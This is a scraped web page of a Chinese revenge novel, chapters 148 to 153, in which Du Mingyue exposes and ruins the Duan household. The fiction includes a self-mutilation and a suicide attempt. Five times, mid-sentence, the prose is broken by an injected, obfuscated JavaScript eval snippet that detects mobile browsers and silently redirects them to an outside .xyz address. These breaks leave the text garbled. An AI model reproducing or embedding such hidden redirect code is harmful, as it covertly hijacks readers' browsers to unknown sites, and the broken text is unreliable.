段老夫人见那锋利的长剑终于从段骆霖的脖子上移开了,心里暗暗松了一口气,知道自己刚才的这番话应该是得到了段骆岐的信任。 “老大,我就知道你还是念着我这些年对你的照顾和付出对不对。”段老夫人又开始哭了起来,段骆岐见状也有些唏嘘,神色甚至都缓和了几分。 杜明月看着段老夫人演绎的精彩一出,心里冷笑,刚才段老夫人说的话,她一个字都不信。 虽说她现在还没有证据能够证明段骆岐的生母是被她杀死的,以什么手段杀死的,但肯定和她脱不了干洗。 杜明月心中叹气,也不知道以后段骆岐还有没有机会弄清这件真相。 但杜明月还是没打算这么轻易的放过段老夫人,她幽幽地开口道,“段老夫人,你对段骆岐隐瞒的事情,只有这一件吗,不止吧?” 正沉浸演绎母子情深,哭的不能自已的段老夫人听到这话,猛的抬起头来,变了脸色,恶狠狠的盯着杜明月。 杜明月却完全无视她眼中威胁的意味,只是看着段骆岐道,“说实话,你生母到底是怎么去世的,真相我还无从得知,但另外有几件事,我还是查的很清楚了,你要听一听吗?” 段骆岐一愣,脸上虽然有些意外,但几乎没有任何犹豫,立马问道,“她还有什么事瞒着我?” 果然,怀疑的种子一旦种下,随随便便一点风吹草动都会立马掀起巨大的涟漪。 “我为什么会被困在东宫受罚一年,她当初为什么拼命撺掇你娶柳氏,你都不好奇吗?”杜明月声音冰冷,每一字都像是淬了毒的刀子一样,在硬生生的割他的肉。 杜明月话落,段骆岐立马转头去看段老夫人,段老夫 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16244472|181961||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 人脸色明显变得十分难看,那一瞬的心虚也没有逃过他的眼睛,他知道杜明月没有撒谎。 “我想知道,你都告诉我,一件事也不许落!”段骆岐愤怒不已,几乎已经将自己的后槽牙咬的咯吱响了。 “当初宫宴,是她故意将那东西带进宫里,又故意利用我想保护段骆芙的心态,故意将那东西抖落出来,害得宫中妃子小产,便立马示意我站出来顶罪!” 杜明月说起这件事,就觉得深恶痛绝和恶心,一想到自己曾经将一颗真心交付给这样的一群人,就替自己惋惜。 “我站出来替你们段家顶罪时,你们在做什么,在背叛我伤害我!”杜明月突然冷笑道,“那一年我在宫中你一日都不得见我,整日流连柳楹莹的温柔乡,你一定很幸福吧?” 原本有些恼怒的段骆岐一听这话,立马变了脸色,眼中满是后悔和无措,不知为何,他心里开始越来越不安起来。 他内心深处像是在拒绝着某种真相,就好像已经冥冥中有了预感,有些话一旦说开,很多事再也没有弥补转圜的余地。 段骆岐很想制止杜明月继续说下去,但又想知道段老夫人到底对自己隐藏了多少秘密。 最终,不想被欺骗和蒙在鼓里的执拗让他没有出声制止,而是绕过她继续说了下去。 “我已经知道柳楹莹是罪臣之女。”杜明月无视段骆岐等人脸上的精彩变化,只继续面色平静的说着。 “段老夫人看不上我这样的商贾之女,却偏偏不断撺掇你娶她,你就没想过真正的原因吗?” 段骆岐眼神发蒙,杜明月冷笑道,“你该不会真的以为,段老夫人是真的喜欢她,觉得她知书达理吧?” “她这么多年守着侯府,有多重视侯府的名声,你不会不知道,难道她真的不知道,你国丧期间和罪臣之女有了孩子是什么罪名吗?” 杜明月的话如同一柄利剑,刺穿了段骆岐的心脏。 第一百四十八章 自断二指 “她什么都知道,却还偏偏由着你,撺掇你,这么做,是想让你被上面揪住错处,把你从侯爷的位置上赶下来,然后让她的宝贝儿子接替你的位置,成为新一任侯爷!” 杜明月平静的话语,如同在院子里扔下了一道惊雷,段骆岐和段骆霖完全被她的话震撼,不知道该说什么了。 原本还着急想要解释的段老夫人,见事已至此,也放弃了内心想要辩解的想法,干脆承认默认了。 毕竟在她看来,刚才段骆岐在他生母的事情上都能原谅自己,那么这些无足轻重的小事也能原谅自己。 段骆岐死死的盯着段老夫人,情绪比起刚才确实要冷静的多,但他的眼神却变得更加失望和凉薄了。 就在段骆岐和段老夫人都以为事情就到此结束时,杜明月接下来的话,才是真正让段府上下分崩离析,从此永无宁日。 “你知道她为了能让段骆霖当上侯爷,她有多疯狂吗?”一直冷静自持的杜明月,只有说起这件事时,声音忍不住微微颤抖,心头闪过一抹挥之不去,永远无法忘怀的钝痛。 “她不惜三番四次找借口,让你亲手杀死你和我的孩子!” 杜明月咬牙,眼眶微红,“为什么,因为她知道,只要你的正室妻子生下孩子,那你的爵位就永远不会有传到段骆霖手中的可能!” “而只要你没有嫡出,就算有再多的庶出也没用,就算爵位不传给段骆霖,至少也可以确保传给段骆霖的嫡子。” 杜明月淡淡的道,“现在你该明白,她我什么总是撺掇你宠妾灭妻吧。当然你却也确实没让她失望!” “什么!”段骆岐震惊的浑身一颤,若不是过于愤怒,他可能真的会被这个打击的直接一头栽下去。 就连一直在一旁听着的段骆霖也震惊的睁大了眸子,用一种不敢置信和疑惑的眼神看向段老夫人。 “你真的那么做了?”段骆霖因为受伤,声音看起来多了几分吃力和嘶哑。 还未等段老夫人开口,段骆岐就在一旁大吼着抒发心中的情绪。 此时,段骆岐第一次有了一种即将溺亡的濒死感,他没想到亲手做出的那些伤害杜明月的事情,竟然都是他主动接过了别人手中的刀,杀了自己的孩子! 段骆岐终于承受不住这种打击,直接跪在了地上,痛哭流涕。 杜明月咬牙转过脸去,不想再看见段家人虚伪的一面,她努力平复着心中的苦涩和悲伤,深呼吸了几口之后,才逐渐恢复了平静。 就在杜明月准备将脸转回去的时候,突然听到身后先是传来一阵痛苦的呻吟,接着就听到段老夫人那震惊、凄厉的声音响彻云霄,久久没有散去。 “你这到底是在干什么啊!”段老夫人跪倒在地上,哭得撕心裂肺道,“你有什么事不能好好说,为什么要冲动做下这种傻事啊,你到底想干什么!” 杜明月震惊的回头,看到眼前的场景时,也完全愣住了。 此时段骆霖正脸色惨白,满头冷汗十分虚弱的躺在段老夫人的怀里,而他们的身上和地上都已经被鲜血染红。 杜明月再仔细去看,发现竟然是段骆霖自断二指,她有些意外,不明白他这是要做什么。 她转头看向一旁的段骆岐,本来段骆霖受伤倒下时,段骆岐下意识的担心凑上去,反应过来段老夫人都为他做过什么时,眼神一下子就冰冷了下来,动作也停滞在了原地。 段骆岐冷着一张脸,刚准备起身,却被段骆霖用另一只手抓住衣角。 他声音喑哑,十分虚弱的道,“大哥,你听我解释,我真的没有抢你侯爷之位的想法,我也知道你过去对我是真的好,所以我今日断指明志。” “好有,还有大嫂说的这些秘密,我也都是今日才第一次知道,我并没有故意欺骗你什么!” 段骆霖几乎是用哀求的眼神看向段骆岐,此时一旁抱着他的段老夫人先是一愣,随后紧紧抱着他大哭了起来。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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可是她已经受够她的愚蠢,并且在她查出段骆芙竟然早就知道段老夫人的秘密,还帮着她隐瞒以及来算计自己时,她心中对她那些仅存不多的真心也都消失殆尽了。 第一百四十九章又蠢又坏 杜明月的冷脸以及呵斥让段骆芙一下子愣住了,她从未见过如此色厉内荏的杜明月,一时愣住。 过了半晌,回过神来的段骆芙颤抖着嘴唇犹犹豫豫的问道,“你……你刚说什么?” 杜明月对她的嫌弃十分明显,冷冷的再次重复道,“段骆芙,我再重新说一遍。我不是你的大嫂,我已经拿到了和离书,从此以后我和你、和你大哥,以及和段府的上上下下,在没有半点关系。” “什么!”这时站在一旁的段骆岐震惊出声,反应比其他任何人都要更快。 他猛的上前,一把拉住转身要走的杜明月,双手紧紧的按住她的肩膀,因为他的动作实在太快,一旁的红豆甚至都没有来得及反应。 段骆岐手中的力度实在太大,杜明月忍不住痛的微微蹙眉,一旁的红豆见状,立马上前准备拉下他的手。 但这次有些让她意外的是,即便她用了很大的力气,却不能将段骆岐的手臂拉下来。 “你快放手,你弄疼我家主子了,你要再不放手,我就对你不客气了。”红豆恼怒瞪眼,心中又疑惑,段骆岐怎么突然变得这么有劲儿。 杜明月试着挣脱却挣扎不开,见段骆岐似乎魔怔了一般红了眼,她叹了口气,朝着红豆微微摇头,示意她不要激怒段骆岐,先不必管他。 红豆一脸担心,但又不得不听杜明月,只好放下手作罢,在一旁干着急。 “明月,你再说一遍,你拿到了和离书,你要与我和离?”段骆岐浑身开始战斗,整个人如同一个随时会发疯伤人的豹子。 杜明月的眸子眯了眯,沉默的看着他,直到感受到肩膀传来他的不安和颤抖。 其实对于段骆岐现在这么夸张的反应,杜明月是不能理解的,段骆岐又不爱自己,何必现在装出这么一副深情,不能失去自己的模样。 杜明月眼底的冷漠和绝情刺痛了段骆岐,他迟迟没有等到她的回答,突然松开手,转头恶狠狠的看向了一旁的段老夫人,冲上去抓住了她的肩膀,摇晃着她大喊质问。 “是你对不对!果然你说什么要替我保留的话都是骗我的!”段骆岐瞪着段老夫人,恨不得自己真的能狠下心杀了她,“你是一早就算计好的对不对!你到底为什么这么对我!” 段老夫人被他手下的力道捏的几乎要痛到晕厥,她试图挣扎了一下,忍不住大喊道,“不是我要骗你,真正要骗你的**是她!” 说着,段老夫人恶狠狠的看向杜明月。 “是她一早就知道我的身份,故意拿这件事威胁我,说什么要和我做交易,她答应过我,只要我把和离书给她,放她自由,她就一辈子将我的秘密烂在肚子里,绝不泄露!” “可是,你也看到了,她根本就是个言而无信之人!”段老夫人咬牙切齿,“我是为了维持住段府现在的平静和体面,不得已才答应她的!” 如果她今天要死,大家就都一起别活了! 段老夫人此刻因为段骆霖自断二指的行为,内心也接近崩溃发疯的边缘。 段骆岐缓缓回头看向杜明月,此时红豆正将杜明月寸步不离的护在身后,像是准备随时抵挡住冲过来的段骆岐,可段骆岐突然红着眼眶笑了,接着又有大颗大颗的眼泪掉下来。 杜明月皱眉,只觉得段骆岐现在好像真的疯了,莫不是今日一下子听到了太多的秘密,心里承受不住,所以开始发疯了? 想到段骆岐过去做的那些事,杜明月内心瑟缩了一下,还真的有点担心他会发疯做伤害自己的事,于是给了身边红豆一个眼色准备离开。 其实后续的事情,杜明月倒也不担心自己的安全,毕竟现在外面都是董皇后给她的人,是她实在不愿意和段家这一大家子疯子掺和在一起了。 然而让她没想到的是,段骆芙此时又想讨人嫌的苍蝇一样扑了上来。 她眼泪扑簌簌的往下掉,“我不知道你们到底发生了什么事,可是现在这样的情况 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16244474|181961||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,你真的忍心走吗!” “就算你现在不认自己是我的大嫂,可你曾经是我的大嫂,在我心里永远就是我的大嫂!你不要走好不好,我知道这一切源头都是因为我!” 说着,段骆芙哭得更加大声了,而杜明月脸上的不耐烦和厌恶已经越来越明显了。 “当初是我害你留在东宫受罚,是我不对,可你有什么事情能不能只冲着我来,不要再为难母亲,大哥,他们了,今日你还逼得二哥断指,你难道就没有一点良心不安吗?” “啪!” 杜明月再也不能容忍她继续说下去了,她现在已经觉得段骆芙不是简单的蠢,而是坏,又蠢又坏! 她嘴里都是这些看起来在替自己着想和开脱的话,但其实却是已经将所有罪责都替自己认下了,若她还当初一样,那她不仅会承担责罚,还要感激段府一家对她的大度理解。 杜明月内心也受到了震动,原来过去段家人竟然联手给她织了一张名叫感情的网,用各种各样的借口,困住自己,折断自己的翅膀,还要口口声声都说是为了自己好。 “段骆芙,我今日才算看清楚你的真面目,你装的无辜单纯,其实是和你母亲、和段府上下所有的人一样,一样的坏!” “我,我没有……”段骆芙捂着自己被打得红肿的脸颊,不敢置信的看着杜明月,声音有些颤抖。 “别再装了,你母亲不是你大哥亲生母亲的事情,你是第一个知道的,可你选择了隐瞒!” 杜明月冷冷的道,“你若真的善良,有责任,当初在东宫里,你应该自己站出来的,不该拿自己年级小,对我愧疚来说事。” “你口口声声都是你的错,可你为此付出了什么代价?什么都没有!” 面对杜明月的厉声质问,段骆芙震惊的变了脸色。 “还有,你口口声声说什么只认我一个大嫂,结果呢,你早就知道你大哥在岭南有外室,你又何曾想告诉我一句?” 第一百五十章 我不能没有你 “你为什么要瞒着我,你是觉得这样没问题是吗?”杜明月见段骆芙震惊的无话可说,冷笑道,“你若是觉得没有问题,那你开始就不该骗自己,你只有一个嫂子。” 段骆芙的脸色一变再变,想要试图说些什么替自己辩解,却又一句话都说不出来。 “段骆芙,你听好了,在我看清你们的下作之前,我未做过一件对不起你们的事情,我对你们掏心掏肺,换来的只有背叛和伤害。” “我从不是任人摆布的人,我更信奉以牙还牙以眼还眼,所以你们段府现在有此下场,那也是最有应得!” “红豆咱们走!”杜明月说完,不顾愣在原地的段骆芙,拔腿就要走,却突然感觉脚下一沉,一脸震惊的转头,发现段骆岐竟然不知道什么时候跪在地上,抱住了自己的腿。 “明月,你不要走,不要离开我好不好,我真的知道错了,我不能没有你,你留下来陪我好不好?” 段骆岐出格的举动,让在场所有人都惊呆了。 “大哥,你起来。”段骆芙下意识的想要阻止,因为她觉得段骆岐是侯爷,不能如此没有尊严的跪下,可是话刚一出口又有些后悔了。 是啊,杜明月刚才骂自己的那番话确实没错,她仔细回想,这么久以来,她在做的事倒真是又蠢又坏。 过去杜明月对她实在太好了,她心中早就认定,不管有什么事都可以推到杜明月身上,杜明月看在自己年纪小的份上,从不计较,会给自己兜底。 过去,即便杜明月知道自己骗了她,她也不会真的和自己计较,都会原谅自己,她也因此愈加过分的习惯将所有不好的事情都安在杜明月的头上。 当意识到这一点的段骆芙,感觉到自己心中好像有什么东西轰然倒塌了一般,她看向一旁抱着几乎已经要晕过去的段骆霖大声痛哭的模样,她突然有些恍惚。 她不知道自己这么久以来,一直乖乖听段老夫人的话,不问缘由的维护她,伤害杜明月,这么做的意义到底在哪里,是把自己逐渐变成了一个是非不分、为虎作伥的人吗? 段骆芙几乎不敢想,腿下一软跌坐在了地上,而一旁的段骆岐还死死的抓着杜明月的腿,不肯松手。 “明月,我真的知道错了,你再给我一次机会,我承认当初我娶你是有算计的成分,可现在我真的爱上你了,我不能失去你!” 段骆岐放声痛哭,竟然第一次真切感受到了明显的让人窒息的心痛和恐慌,这种感觉是以前从未有过的。 直到此时,段骆岐才像是真正意识到,他是真的已经爱上了杜明月,无法想象失去杜明月以后,接下来的日子要怎么过下去。 “给你机会?”杜明月冷笑出声,满眼厌弃。 她心中疑惑,难不成段骆岐这是前段时间装深情装上瘾了? 杜明月冷冷的开口,将他过去对自己做过的事情都再次提起,像是在提醒她过去到底都做过什么。 “段骆岐,你现在装什么忠贞不二,用情至深呢?”杜明月冷冷的黑眸居高临下的看着段骆岐道,“你是不是忘了,府里还有柳姨娘,春姨娘在等着你呢?” “还有,当初你是怎么算计我的,都不记得了,你以为我还会原谅你?给你一次机会?别再做梦了。” 段骆岐抬头,仰视着杜明月,他现在内心只有一种迫切的念头,那就是想将她留下,只要她肯答应自己的话留下,以后让他做什么都行,哪怕天天给她跪着都行。 杜明月冰冷的眼神到底是将他从短暂的幻想中清醒过来,他立马道,“只要你愿意留下,以后不会有柳姨娘、也不会有春姨娘!更不会再有其他的姨娘!” 杜明月蹙眉看他,段骆岐像是又猛地想起了什么,“不,明月,我不是那个意思,我会让你看到我的诚心的,我真的会回去立马将她们送走,以后也保证不会有其他的姨娘。” 段骆岐的话将杜明月逗笑,那双好看的眸子里 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16244475|181961||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 没有半分感情,“送走?再送回岭南的庄子上,你别折腾了,柳姨娘带着两个孩子也不容易。” “……”段骆岐心口一痛,有些语塞。 是啊,横亘在他们中间有太多东西了,即便他现在真的可以狠心将柳楹莹和两个孩子送走,此生不负相见,但杜明月好像也不会回来了。 他好像真的要失去他生命中很重要的东西了,段骆岐失魂落魄的松了手,神情恍惚的依旧坐在原地。 杜明月挑眉冷冷的道,“你现在最该解决的事在那里。” 顺着杜明月看过去的方向,他看到了抱着段骆霖悲痛欲绝到已经哭不出声音来的段老夫人。 “你想让我杀了她?”段骆岐突然没头没脑的冒出来一句,目光中透露出一种平静的疯感。 那种感觉就好像是,如果杜明月点头说是,他就会立马出手杀了她,以此换来挽留下杜明月的机会。 杜明月冷冷的不置可否,其实她现在想做的都已经做到了,段府现在上下早就变成了一盘散沙,段府以后也只会离心离德、一蹶不振。 这是她的复仇,她做到了,其他的事情,她根本不关心。 长剑被拖起,刀刃划过沙子地面的声音,让杜明月猛地回过神来,她意外的睁大了眼睛,没想到段骆岐竟然真的将长剑指向了段老夫人。 杜明月眼里带着一丝好奇,但她还是不相信段骆岐真的会狠下心杀了她。 眼神中透露着一种淡淡的绝望,和微死感的段老夫人静静地看向段骆岐,眼中布满血丝的段骆岐神情逐渐变得暴躁,举着长剑的手微微颤抖,却还是将刀刃送得离她的脖子更近了。 像是丧失全部力气,不想辩解的段老夫人缓缓开口道,“好,你要真想杀了我也好,我也不求你放了我,只求你给我个痛快!” 说着,看向怀里已经晕过去的段骆霖,感叹一声道,“唯一的可惜,是不能看到你娶妻生子,事业有成了。” 第一百五十一章想一头撞死 段老夫人说完,闭上了眼睛,俨然一副做好了准备,打算赴死的模样。 段骆芙此时突然冲了过去,在段骆岐的脚边跪倒,一把握住他拿剑的手道,“大哥,你不要冲动啊,你不能杀了母亲,无论如何,她都养了你这么多年,你怎么能杀她呢?” 段骆岐脸色涨红,脖子青筋暴起,一看就知道他的内心也在受着煎熬和痛苦,他也在挣扎和犹豫。 杜明月冷眼看着这些,内心却没有任何波动,想了想觉得自己想做的事情也都做了,继续留在这里也没有意思,准备转身离开。 但就在她转头的瞬间,突然听到刀剑哐当一声落地的声音。 她回头,就看到段骆岐发疯一般的将自己的头去往柱子上撞,嘴里痛苦的大喊着。 杜明月淡淡的看着,她早就知道段骆岐下不了手的。 段骆芙哭红了眼睛,泪水迷蒙的又起身抱住了段骆岐的腰,试图让他冷静下来。 “大哥,你不要这样,你冷静一点。”段骆芙拼命的喊着,但内心却是一片茫然和痛苦。 她觉得她自己也好像是大海上漂泊的一片树叶,随波逐流,不知道该去哪里,没有方向没有目的。 段骆芙觉得,段家现在变成这副样子,好像大家都没有,又好像大家都做错了,她也不知道该怪谁,也说不清楚,事情到底因何而起,变成现在的模样。 “够了!”段老夫人见段骆岐果然下不去狠心杀了自己,心里就放心了,见他这副样子,心里突然又担心他可能会将自己的事迁怒到段骆霖身上,想了想她猛地站起身。 众人纷纷转头看向段老夫人,只见段老夫人用喑哑的嗓子努力大声的开口道,“老大,我知道你恨我,但我毕竟养了你这么多年,你下不了手杀我,你想让我死,我可以满足你!” 段老夫人的话让段骆岐和段骆芙都愣住了,不明白她这是什么意思。 段老夫人继续道,“我可以死,只是你必须要答应我一件事!” “我**以后,你不准将这件事迁怒到霖儿的身上,你要确保照顾他一辈子,让他衣食无忧,那我情愿已死谢罪。” 说着,她还没等众人反应过来,就猛地朝着柱子撞了过去,接着巨大的一声闷响出现,段老夫人额头流着血,翻着白眼,直瞪瞪倒下,后脑勺落地倒在了地上。 “母亲!”段骆芙一愣,发出撕心裂肺的一声喊声,立马冲了过去。 段骆岐失魂落魄的在原地看着,好像一时忘了行动。 “母亲,母亲,你醒醒,不能死啊!”段骆芙伸手在段老夫人的鼻子下探了下鼻息,发现她竟然真的没气了,吓得浑身发抖,抱着她就大哭了起来。 杜明月和红豆对视了一眼,眼中都闪过一丝震惊。 真**?怎么可能? 杜明月给了红豆一个眼神,示意她亲自过去段老夫人那里感知一下鼻息,红豆立马去了。 她才蹲下伸出手指靠近段老夫人的鼻息,就被段骆芙狠狠瞪着,抱着段老夫人移开了。 “不许你碰!我母亲**,你们现在满意了!”段骆芙说着,还回头怨恨的瞪了杜明月一眼,可下一瞬,段骆芙又突然意识到,这件事好像也怨不得杜明月,突然又难过的大哭了起来。 红豆探过鼻息之后,起身走到杜明月身边,附在她耳边十分小声的道,“还有一点点微弱的鼻息,但情况看起来不太好,鼻息越来越弱,像是快不行了。” 杜明月眉头一皱,立马看向段老夫人。 段老夫人可不能死,她要是一死,她的计谋就得逞了,此后段家人都会将这笔仇恨算在自己头上,她可不担这笔糊涂账。 她得把段老夫人救活,让他们段府自家人互相折磨,这才是她想看到的。 于是,杜明月立马对红豆道,“去,让门外的侍卫立马去请董皇后派御医去段府,再找几个人来把段老夫人和段骆霖都抬回段府。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16244476|181961||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 红豆点着头,立马去将她吩咐的事情办了。 很快侍卫们便动了起来,进宫请御医的请御医,抬人的抬人。 一开始段骆芙还一脸惊慌的想要拒绝,她紧紧的抱着段老夫人看向杜明月道,“你想做什么?” “你要是想段老夫人死的快一点,就继续抱着吧,只是到时候可要记着,段老夫人她事被你害死的,可不要再怨错了人,怨到我头上,我可不会像以前一样轻易的算了。” 杜明月冰冷的话语中还带着几分威胁,段骆芙不由得打了个冷颤,眼前的杜明月确实早就不是当初那个疼她宠她的大嫂了,她也是时候醒过来了。 段骆芙微微出神之后,还是决定听从杜明月的话,她缓缓的放开了手,看着两个侍卫将段老夫人放到木板上放平,之后又将人抬出去。 她再一回头,又看到同样有两个侍卫将段骆霖也用同样的方法抬了出去。 段骆芙缓缓的起身,看向一旁失魂落魄的段骆岐,小心翼翼的问道,“大哥,咱们回去吧,回去先给母亲和二哥看看伤。” 短暂的沉默让人压抑的透不过气来,段骆芙胆战心惊的等了好一会,才看到段骆岐抬起头,眼神开始聚焦,像是恢复了神志。 “嗯。”段骆岐喑哑着嗓子嗯了一声,在段骆芙的搀扶下,缓缓朝着门外走了出去。 当他经过杜明月身边时,只觉得大脑好像已经一片空白,如同停止了思考一般,只是双眼紧紧的锁在她的身上,不愿意离开。 等到段府的人都被清走了以后,红豆站在一旁问杜明月道,“主子,接下来您打算怎么办?” 杜明月想了想道,“我得跟着他们回一趟段府。” “嗯?”红豆一脸震惊,像是不明白杜明月为什么会做出这样的决定。 杜明月道,“你找个侍卫去我铺子里多拿一些上等的人参送去段府,你现在和我一起去段府,我必须要亲眼看到段老夫人活过来。” 第一百五十二章 我要她活着 杜明月说话时目光坚定,红豆虽然心里觉得那种好东西给段老夫人用,实在是暴殄天物,但还是听话的立马去照做了。 等到杜明月和红豆到了段府时,段府上下早就乱成一锅粥了,府里的人来来往往,几乎没有用走的,全是用跑的,满脸惊慌失措,一句话都不敢随便交流。 杜明月进府后,朝着段老夫人的院子走过去,也没有任何人分出精力去管她,只是一味的端着盆子屋里屋外的跑。 杜明月站在门口,看到御医出来,立马拉住了他问道,“怎么样?” “段老夫人啊,哎……”御医思索了片刻,还是忍不住叹了口气。 杜明月一愣,立马问道,“怎么救不回来了吗?我有百年的人参,不,千年的人参也有,只要能救活段老夫人就行。” 御医闻言一愣,犹豫后问道,“真的愿意给段老夫人用?” 因这御医是董皇后派来的心腹,所以他对杜明月和段府的仇怨也是多少知道一些的。 “对,用多少都可以,我要她活着,必须活着!”杜明月坚定的目光中闪着仇恨的光芒,那御医立马就懂了。 “好,只要有人参和另外几位珍贵的药材,不出三日,段老夫人一定能醒过来。”御医说的十分的笃定。 一直在屋里哭泣守着的段骆芙听到这话,立马跑了出来,像是一脸不敢置信的问杜明月道,“你……你真的愿意救我的母亲?” 杜明月知道她在担心什么,但也根本不屑和她解释,只道,“你若不信可以拦着,我还是那句话,随便你。” 段骆芙一愣,又觉得杜明月果然还是自己认识的那个好人,于是点点头认真道,“谢……谢谢你。” 杜明月眼底微冷,心中暗想,倒也不必这么着急谢,毕竟她还不知道自己要救段老夫人的真正目的,等到她知道了,估计也谢不出来了。 杜明月再懒得去理她,此时正好有侍卫拿了一大盒人参跑过来,杜明月急忙接过来,递给了御医。 “这些人参够不够?”杜明月急忙转身去问御医又道,“还有什么药材,麻烦御医你些下来,我现在命人去取。” 御医立马点头,果真转头进屋飞快的列了几位名贵草药出来,他一出来,杜明月立马接过来递给侍卫,“你再跑一趟,跟掌柜的要这些。” 侍卫离开时,段骆岐正好朝着这边走过来,此时他已经喝下了府医给他煎的中药,神色恢复了许多,眼神看起来也变得理智和清明了一些。 段骆岐看着杜明月如此着急,又是出力又是出钱出药的模样,内心很是感动。 他缓缓上前,用自己都未曾察觉的,十分深情的眼神看着杜明月道,“明月谢谢你,我就知道……” “打住!”杜明月嫌弃的立马开口,像是生怕他误会一般,急忙解释道,“我这么做,自然有我的原因,并不是为了你,也不是为了段府。” 她想了想,现在也不好直接将自己真正的目的说出来,只好敷衍道,“你就当我是救人一命胜造七级浮屠吧,就算是个陌生人,我也不会真的任她死在我面前的。” 段骆岐脸上虽然有些失落,但还是有几分开心,段骆芙跑到他面前,关心的道,“大哥,你现在看着好多了,没事了吧?” 段骆岐点点头,但目光仍然落在杜明月的身上。 段骆芙又道,“二哥呢?二哥也没事了吧。” 段骆岐闻言,眉头一皱,久久没有说话,说实话他现在对段骆霖的感情十分复杂,既恨他,又忍不住想要关心他,他自己也知道他很矛盾,但他还是无法一下子就想开。 刚才府医给他看诊时,还嘱托他最近不宜思虑过重,便决定干脆不想了,等过段时间再说。 段骆芙见他不说话,就准备自己去看看段骆霖,但她刚迈出步子,就听到身后传来御医着急的声音。 原来就在几人说话的功夫,御医已经将人参研磨成了药粉,而现在他正在找人拿来温水给段老夫人送服。 段骆芙一听,立马 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段老夫人愣了一下,突然痛心疾首的朝着段骆芙喊道,“怎么可能不影响正常生活,你二哥那可是活生生的自己切断了两根手指啊!” 一回想到当日的场景,段老夫人再次变得十分愤怒,甚至想要不顾浑身传来的疼痛,从床上下来。 段骆芙一脸惊慌的拦着她道,“母亲,你这是要去做什么?” 段骆芙一脸不解,段老夫人恶狠狠的道,“都是杜明月那个**闹的,我要去找她算账!” “母亲,够了,这次你能重新活过来,都是大嫂……不,现在也不该叫大嫂了。” 段骆芙的脸上闪过一抹失望和沮丧,叹气道,“总之,你这次能活过来,时用了她很多珍贵的药材。御医也说,要是没有这些珍贵的药材,可能就……” 后面的话,段骆芙不敢说出来,段老夫人也听得明白。 段老夫人疑惑的蹙眉许久,终于忍不住开口问道,“怎么可能,她怎么可能会那么好心,她葫芦里卖的是什么药,她到底药干什么?” 第一百五十三章 陪皇后礼佛 “她现在人在哪里?”段老夫人见段骆芙一直吞吞吐吐的,也说不出个所以然,就直接发问。 段骆芙一愣,正想开口回答,杜明月已经从门外走了进来。 杜明月的出现,让段骆芙和段老夫人都愣了一下,之后段老夫人不顾自己身体的疼痛,试图爬起来指着杜明月开骂。 “你这个**还真是阴魂不散,你现在已经不是段府的人了,还来这里干什么?还有你为什么救我?难不成是想看我们的笑话,还是怕我真的**,你要被抓起来问责。” 段老夫人气喘吁吁,因为后脑勺传来剧烈的疼痛,让她冷汗直流,有气无力,几乎下一瞬就能闭上眼睛晕过去。 杜明月看她这副要死不活的样子,心里十分满意,嘴角也忍不住勾了起来。 “段老夫人,你说的一点儿也没错。我救你,就是为了看你的笑话。”杜明月冷笑一声,“段老夫人,你谋划算计了这么多年,却被我毁于一旦,一定很气吧。” “你这个**果然是来嘲笑我吧,你很高兴吧?”段老夫人气自己现在浑身没有力气,要不然一定冲过去掐死杜明月。 “没错,我就是来嘲笑你的。这就是我对你的报复。”杜明月危险的眯起眸子看向她们。 “你们好像都忘了,当初我从东宫回来时,我便对你们说过,你们对我的伤害,我一定会百倍千倍的还回来。现在我做到了。我当然高兴了。” 听到这话的段骆芙完全愣住了,一脸的不敢置信。 她刚才还因为杜明月救了自己的母亲,向她说了那么多感谢的话,结果杜明月现在竟然告诉她的,她这么做都是为了报复,这怎么可能。 